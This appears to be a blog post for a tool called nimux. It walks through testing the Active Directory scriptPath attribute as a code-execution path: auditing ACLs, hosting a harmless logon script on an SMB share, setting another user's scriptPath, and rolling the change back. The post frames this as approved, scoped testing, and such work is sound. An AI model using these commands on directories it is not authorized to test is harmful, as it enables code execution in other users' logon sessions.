Back to blog
Jul 19, 202618 min read

scriptPath and Logon Script Workflows with nimux

A neutral nimux workflow for scriptPath discovery, controlled logon script testing, SMB hosting, validation, and rollback.

scriptPathLDAPSMBRollback

Overview

The Active Directory scriptPath attribute can point a user to a logon script. If a principal can write that attribute on another user, it may become a code execution path when the user logs on. This is high impact and should be tested only with explicit approval.

nimux supports --set-scriptpath and SMB file operations, which are enough to document the path without leaving unmanaged changes behind.

Review the target account

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --filter '(sAMAccountName=target.user)' \
  --attrs distinguishedName,scriptPath,userPrincipalName

Review ACLs before writing:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --acl \
  --user target.user \
  --json > target-scriptpath-acl.jsonl

Place a controlled script

Use SMB file operations to place a harmless script in an approved share.

nimux put fileserver01.corp.local -d corp.local -u operator -p '<password>' \
  --share Logon \
  --local ./scoped-validation.bat \
  --remote scoped-validation.bat

The script should do the minimum needed for validation, such as writing a marker file.

Set scriptPath

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --set-scriptpath \
  --user target.user \
  --script-path '\\fileserver01\Logon\scoped-validation.bat' \
  --rollback-out scriptpath-rollback.jsonl

Confirm the attribute:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --filter '(sAMAccountName=target.user)' \
  --attrs scriptPath

Roll back

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --set-scriptpath \
  --user target.user \
  --script-path ''

Remove the script if it was created only for validation:

nimux rm fileserver01.corp.local -d corp.local -u operator -p '<password>' \
  --share Logon \
  --remote scoped-validation.bat

Reporting

Report the writer principal, target user, previous scriptPath value, new scoped value, validation result, and rollback status.

Install nimuxView featuresOpen docs